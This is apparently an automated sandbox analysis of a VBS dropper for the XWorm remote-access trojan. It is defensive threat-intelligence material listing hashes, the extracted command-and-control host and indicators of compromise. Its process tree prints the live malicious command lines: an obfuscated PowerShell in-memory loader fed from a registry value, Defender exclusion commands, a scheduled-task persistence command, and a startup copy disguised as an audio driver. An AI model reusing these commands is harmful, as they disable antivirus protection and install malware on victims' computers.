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Analysis
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max time kernel
146s -
max time network
158s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
10/05/2024, 19:43
Static task
static1
Behavioral task
behavioral1
Sample
InstallerVbs.vbs
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
InstallerVbs.vbs
Resource
win11-20240508-en
General
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Target
InstallerVbs.vbs
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Size
104KB
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MD5
bc89449faa6c9e7bb2957178b31866ba
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SHA1
1e36383ec2124b42c951047dad01dd19d1f16ffd
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SHA256
750ba2dad733bc591d8e9d2354db33cb4a86d878c5e138419d5af4a899326111
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SHA512
87db7826c7f701658b782f3542f2bc2b6dd2f153181c770d0bc4c63c3300c10bf33f364590a94ae9d189b4028e965d0ede13ed3a9078a0b58e278ad6390da44f
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SSDEEP
3072:vx1nBT1JXFLckxCBv8I0o59j/cDJUt3YU6b/T0rCUdv47:ZF9CNt/QUVYUsQCUdv47
Malware Config
Extracted
xworm
mike-algebra.gl.at.ply.gg:55575
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Install_directory
%AppData%
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install_file
XClient.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/1176-15-0x000002ABFA5B0000-0x000002ABFA5CA000-memory.dmp family_xworm -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 1176 powershell.exe 4 1176 powershell.exe -
pid Process 1176 powershell.exe 2868 powershell.exe 3532 powershell.exe 4836 powershell.exe 856 powershell.exe -
Drops startup file 4 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Audio Driver.vbs powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Audio Driver.vbs powershell.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4116 XClient.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000\Software\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2748 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 5100 timeout.exe -
Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 1176 powershell.exe 1176 powershell.exe 2868 powershell.exe 2868 powershell.exe 3532 powershell.exe 3532 powershell.exe 4836 powershell.exe 4836 powershell.exe 856 powershell.exe 856 powershell.exe 1176 powershell.exe 4116 XClient.exe 4116 XClient.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 1176 powershell.exe Token: SeDebugPrivilege 2868 powershell.exe Token: SeDebugPrivilege 3532 powershell.exe Token: SeDebugPrivilege 4836 powershell.exe Token: SeDebugPrivilege 856 powershell.exe Token: SeDebugPrivilege 1176 powershell.exe Token: SeDebugPrivilege 4116 XClient.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1176 powershell.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 3968 wrote to memory of 1176 3968 WScript.exe 81 PID 3968 wrote to memory of 1176 3968 WScript.exe 81 PID 1176 wrote to memory of 2868 1176 powershell.exe 84 PID 1176 wrote to memory of 2868 1176 powershell.exe 84 PID 1176 wrote to memory of 3532 1176 powershell.exe 86 PID 1176 wrote to memory of 3532 1176 powershell.exe 86 PID 1176 wrote to memory of 4836 1176 powershell.exe 88 PID 1176 wrote to memory of 4836 1176 powershell.exe 88 PID 1176 wrote to memory of 856 1176 powershell.exe 90 PID 1176 wrote to memory of 856 1176 powershell.exe 90 PID 1176 wrote to memory of 2748 1176 powershell.exe 92 PID 1176 wrote to memory of 2748 1176 powershell.exe 92 PID 1176 wrote to memory of 1132 1176 powershell.exe 96 PID 1176 wrote to memory of 1132 1176 powershell.exe 96 PID 1176 wrote to memory of 1520 1176 powershell.exe 98 PID 1176 wrote to memory of 1520 1176 powershell.exe 98 PID 1520 wrote to memory of 5100 1520 cmd.exe 100 PID 1520 wrote to memory of 5100 1520 cmd.exe 100 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\InstallerVbs.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:3968 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\InstallerVbs.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Audio Driver.vbs'; $sacerdocy = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $sacerdocy = -join $sacerdocy[-1..-$sacerdocy.Length];[<##>AppDomain<##>]::<##>('CotterellurrentDomain'.replace('Cotterell','C'))<##>.<##>('periadenitisoad'.replace('periadenitis','L'))([Convert]::FromBase64String($sacerdocy))<##>.<##>('ricedntryPoint'.replace('riced','E'))<##>.<##>('Inlingonberryoke'.replace('lingonberry','v'))($Null,$Null)<##>;2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1176 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2868
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3532
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4836
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:856
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"3⤵
- Creates scheduled task(s)
PID:2748
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /delete /f /tn "XClient"3⤵PID:1132
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp46D8.tmp.bat""3⤵
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
PID:5100
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C:\Users\Admin\AppData\Roaming\XClient.exeC:\Users\Admin\AppData\Roaming\XClient.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4116
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
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Filesize
62KB
MD5e566632d8956997225be604d026c9b39
SHA194a9aade75fffc63ed71404b630eca41d3ce130e
SHA256b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
SHA512f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd
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Filesize
944B
MD57d760ca2472bcb9fe9310090d91318ce
SHA1cb316b8560b38ea16a17626e685d5a501cd31c4a
SHA2565c362b53c4a4578d8b57c51e1eac15f7f3b2447e43e0dad5102ecd003d5b41d4
SHA512141e8661d7348ebbc1f74f828df956a0c6e4cdb70f3b9d52623c9a30993bfd91da9ed7d8d284b84f173d3e6f47c876fb4a8295110895f44d97fd6cc4c5659c35
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Filesize
944B
MD5856900844f6f1c326c89d0bcfb2f0c28
SHA11caad440d46fa8c0cbed4822b4be2bbdddba97c2
SHA256ae24414ec53b3ae43ddbf1ff7b6643f8bf45281406f6415742f4305360d70a32
SHA512ed8f421e151d797b33440dd0ddb6d6a5ec93fe7806ad82c60af3f77d545cf5dc319bce67804bd0613bb551a3f01648ec0d1918805dc7342145c8bb23ad12cab4
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Filesize
944B
MD5e8a7ab7bae6a69946da69507ee7ae7b0
SHA1b367c72fa4948493819e1c32c32239aa6e78c252
SHA256cd5480d72c1a359e83f7d6b6d7d21e1be2463f2c6718385cc6c393c88323b272
SHA51289b22519bc3986be52801397e6eff4550621b4804abd2d04f431c9b2591ba8e3eab2625490a56ebb947ba3b122b6186badb6c461e917b69d7e13644c86a6f683
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
171B
MD566650fb88359cbd9d51a5b6eee9a545d
SHA1b7398c585b00587a5221187bb029f6e12e49bdde
SHA2560c1535da85adcba01b883e81a9a574cba1e9c87ee82e19e97fbb9e6d210bcc40
SHA512ec71c5d290952be3eef8a82d02f4ae615ff93becbf3245bcb609dfa18f3afe481baccda5bb5876c130c3cee662764eaed2aa45191879f9a0ac9cf76fc9c476dd
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Filesize
440KB
MD50e9ccd796e251916133392539572a374
SHA1eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA256c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
SHA512e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d